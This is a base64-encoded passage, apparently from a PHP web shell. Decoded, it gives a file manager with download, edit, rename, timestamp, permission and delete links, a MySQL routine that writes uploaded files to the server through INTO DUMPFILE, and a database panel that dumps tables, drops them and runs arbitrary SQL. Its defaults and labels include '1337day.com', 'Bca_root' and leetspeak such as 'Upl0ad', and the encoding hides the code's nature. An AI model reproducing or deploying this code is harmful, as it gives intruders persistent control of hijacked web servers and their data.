FtZSddIT0nLicpIHsNCgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bmwwYWQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmNvcHlmaWxlKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5DMHB5PC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0ZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5FZGl0PC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnbmV3dGltZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5UaW0zPC9hPicpOw0KCQkJcCgnPC90ZD48L3RyPicpOw0KCQkJJGZpbGVfaSsrOw0KCQl9DQoJfQ0KCXAoJzx0ciBjbGFzcz0iZm91dDEiPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpZ2cgRG93bmwwYWQgU2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBTZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgRElSIC8gJy4kZmlsZV9pLicgRklMRVM8L3RkPjwvdHI+Jyk7DQoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7DQp9Ly8gZW5kIGRpcg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7DQoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsNCgkJJGZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRmaWxlJ107DQoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOw0KCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQoJCX0gZWxzZSB7DQoJCQlpZighJGZpbGVuYW1lKSB7DQoJCQkJbSgnUGxlYXNlIGNob29zZSBhIGZpbGUnKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCgkJCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCgkJCQlpZighJHVwbmFtZSkgJHVwbmFtZSA9ICRmaWxlWyduYW1lJ107DQoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOw0KCQkJCW0oJHJlc3VsdCA/ICdVcGxvYWQgc3VjY2VzcycgOiAnVXBsb2FkIGhhcyBmYWlsZWQ6ICcubXlzcWxfZXJyb3IoKSk7DQoJCQl9DQoJCX0NCgl9DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gbXlzcWxmaWxlKGRvaW5nKXsNCglpZighZG9pbmcpIHJldHVybjsNCgkkKCdkb2luZycpLnZhbHVlPWRvaW5nOw0KCSQoJ215c3FsZmlsZScpLmRiaG9zdC52YWx1ZT0kKCdkYmluZm8nKS5kYmhvc3QudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicGFzcy52YWx1ZT0kKCdkYmluZm8nKS5kYnBhc3MudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICcxMzM3ZGF5LmNvbSc7DQoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNeVNxbCBJbmYwcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJOYW1lOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOw0KCXAoJ0RCQ2hhcnNldDonKTsNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJteXNxbGZpbGUiIGlkPSJteXNxbGZpbGUiPicpOw0KCXAoJzxoMj5VcGwwYWQgRmlsZTwvaDI+Jyk7DQoJcCgnPHA+PGI+PC9iPjwvcD4nKTsNCglwKCc8cD5TYVZlIFBhdGg6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InNhdmVwYXRoIiBzaXplPSI0NSIgdHlwZT0idGV4dCIgLz4gQ2gwMHMzIEZpbDM6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGwwYUQ8L2E+PC9wPicpOw0KCXAoJzxoMj5Eb3dubDBhZCBGaWxlPC9oMj4nKTsNCglwKCc8cD5GaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJteXNxbGRsZmlsZSIgc2l6ZT0iMTE1IiB0eXBlPSJ0ZXh0IiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsZG93blwnKTsiPkRvd25sMGFkPC9hPjwvcD4nKTsNCgltYWtlaGlkZSgnZGJob3N0Jyk7DQoJbWFrZWhpZGUoJ2RicG9ydCcpOw0KCW1ha2VoaWRlKCdkYnVzZXInKTsNCgltYWtlaGlkZSgnZGJwYXNzJyk7DQoJbWFrZWhpZGUoJ2RibmFtZScpOw0KCW1ha2VoaWRlKCdjaGFyc2V0Jyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsYWRtaW4nKSB7DQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOw0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAnQmNhX3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J015U3FsIER1bXAgRGF0YWJhc2UnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8gU1FMDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8vIERhdGENCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vIGdldCBteXNxbCBzZXJ2ZXINCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vIFNob3cgZGF0YWJhc2UNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCgkJJGRicyA9IGFycmF5KCk7DQoJCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsNCgkJfQ0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCgkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQlpZiAoJGRibmFtZSkgew0KCQkJcCgnPHA+Jyk7DQoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRibmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSkgew0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCgkJCX0NCgkJCXAoJzwvcD4nKTsNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCgkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCgkJCX0NCgkJCSRhbGxvd2VkaXQgPSAwOw0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7DQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCX0NCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yP